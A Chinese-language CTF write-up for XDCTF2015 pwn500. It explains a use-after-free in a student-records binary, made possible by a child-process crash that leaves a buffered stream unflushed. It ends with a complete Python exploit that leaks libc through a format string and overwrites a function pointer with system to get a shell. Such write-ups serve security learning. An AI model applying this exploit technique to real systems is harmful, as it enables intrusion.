XDCTF2015 pwn500

0x00 Struct

程序是一个教务处管理系统, 64位ELF文件. 可以注册, 考试, 补考, 计算成绩, 查看注册信息…还隐藏了一个作弊函数, 可以用来修改已输入的内容.

程序使用了两个结构体负责维护各种信息, 结构体如下:

typedef struct exam{
    //struct size = 0x20
    //malloc size = 0x68
    short int subject;  //size = 4
    short int real_len; // size = 4
    int input_len;
    char *data_ptr;
    int (*get_score)(struct exam *subject, int flag);
} Exam;

typedef struct {
    //struct size = 0xF8
    //malloc size = 0xF8
    char name[0x11];
    char message[0xCF];
    Exam *math;
    Exam *english;
    Exam *dota;
} User;

User结构体很明显, 没什么可说的. Exam结构体的最后一项是一个函数指针. 在计算score和resit时会进行调用.

0x01 UAF

整个程序显得很大, 但是并没有什么太特殊的东西, 而已又是C写的, 体力活而已.

在进行考试时, 首先制造了一个文件流, 之后fork一个子进程专门用来读取data信息到流中, 读取后进行退出. 父进程等待子进程结束后从流中读出数据, 写入Exam中data_ptr指向的内存中. 这个内存块根据用户输入的len来malloc, 所以没有溢出…

第二个关键的函数是补考(resit)函数. 函数会检查Exam块的real_len和data_ptr, 有任一项为NULL则直接退出. 否则若成绩小于60, free掉data块, 置空real_len和data_ptr.

UFA的第一步就发生在resit函数中. 在free掉data块后, 如果real_len为零, 程序并不会置空data_ptr, 也就是留下了hang pointer.

data块最大大小为104, 正好等于Exam块的大小…本来Exam块只需要0x20就可以了, 很明显这是故意的…

补考函数只会检查data_ptr是否为NULL. 这样只需要先考试, resit之后再考试另一科目. 此时第一次考试留下的野指针正好指向第二次考试的Exam块.

而Exam块中保存着一个函数指针, 通过隐藏的作弊函数就能覆盖掉. 这样通过UFA就造成了任意执行.

take_exam_Math -> essay_len(data_len) = 104 ->
    resit -> take_exam_English -> cheat -> show_score

然而在正常情况下程序的input_len和real_len是相等的, input_len不能为0…

0x02 Child procsee crash

UFA利用的关键在于如何使real_len为0.

在正常情况下, 负责读取输入的子进程会不断循环调用read函数直到读取的字节和input_len相等. 所以输入EOF并没有什么用.

但是读取函数本身是有问题的, 在循环读取时read的数据并不是直接写入文件流, 而是存在了栈上. 但是栈大小不够, 会造成8字节的溢出.

而程序的read函数是包装过的, 在读取结束后会在末尾添加\x00, 这样ret地址的低字节正好被覆盖, 导致ret后反而跳到前面的指令中(并没有直接崩溃)…但是随后因为访问栈上地址造成了非法地址访问, crash.

虽然函数在ret之前就已经调用了fputs()函数将读取到的数据写入了文件流中, 但是仔细分析就会发现一些问题.

在最初初始化的时候, 程序调用了setvbuf()将文件流的模式调整为了_IOLBF状态.(关于setvbuf的Link). 该模式在写入数据时不会立即进行, 而是保存在缓冲区中, 直到缓冲区满或有新的一行字串写入时才刷新缓冲. exit()和程序的正常退出都会进行缓冲的刷新.

但是程序的crash并不会刷新缓冲…由于读取函数只写入了一行, 所以虽然调用了fputs(), 但是本应在正常退出时进行的缓冲刷新因为crash中断了, crash后文件流是空的, 达成了real_len为零的条件.

0x03 Exp

完整的exp如下, 题目提供了libc, 所以只需要leak一次libc地址即可.

有趣的是leak的方式. 被覆盖的func函数原型如下:

int func(Exam *subject, int flag)

被传入的Exam是我们可控的, 但是并不能构造出puts(addr)或printf(“%s”, addr).

但是我们可以构造出格式化字符串. 这样就可以泄露__libc_main的地址了.

完整的exp如下:

#!/usr/bin/env python

from zio import *
from pwn import ELF

target = "./jwc"

io = zio(target, print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)

menud = "6.exit\n"

def register():
    io.read_until(menud)
    io.writeline("1")
    io.read_until("chars\n")
    io.writeline("huaji")
    io.read_until("yourself\n")
    io.writeline("999999999")
    io.read_until("registered!\n")
    print("register success.")

def doexam(exam, length, content):
    io.read_until(menud)
    io.writeline("2")
    io.read_until("3.dota\n")
    io.writeline(str(exam))
    io.read_until("essay?\n")
    io.writeline(str(length))
    io.read_until("OK\n")
    io.writeline(content)
    io.read_until("exam~\n")
    print("exam done.")

def cheat(exam, content):
    io.read_until(menud)
    io.writeline("1024")
    io.read_until(":)\n")
    io.writeline(str(exam))
    io.writeline(content)
    print("cheat done.")

# get hang pointer
register()
doexam(1, 104, "9"*104)

io.read_until(menud)
io.writeline("5")
io.read_until("3.dota\n")
io.writeline("1")
io.read_until("again\n")

doexam(2, 64, "9"*64)

# leak main return addr
format_str = "%11$lu\x00"
printf_plt = 0x4009B0
payload = format_str + "9"*(0x18 - len(format_str)) + l64(printf_plt)
cheat(1, payload)

io.read_until(menud)
io.writeline("3")
io.read_until("\n")
leakinfo = io.read_until("english")
leakinfo = int(leakinfo[:-7])
print("get leak info %s" % hex(leakinfo))

#calculatr system address
libc = ELF("./libc.so")

system_addr = leakinfo - 241
system_addr = system_addr + (libc.symbols['system'] - libc.symbols['__libc_start_main'])

#get shell
shellcode = "/bin/sh\x00"
payload = shellcode + "9"*(0x18 - len(shellcode)) + l64(system_addr)
cheat(1, payload)

io.read_until(menud)
io.writeline("3")

io.interact()

0x04 End

其实UFA并不是很难, 主要的坑点在于子进程crash导致的写入失败. 或者说这个比赛题目的真正核心就在于缓冲区的非及时写入.

Table of Contents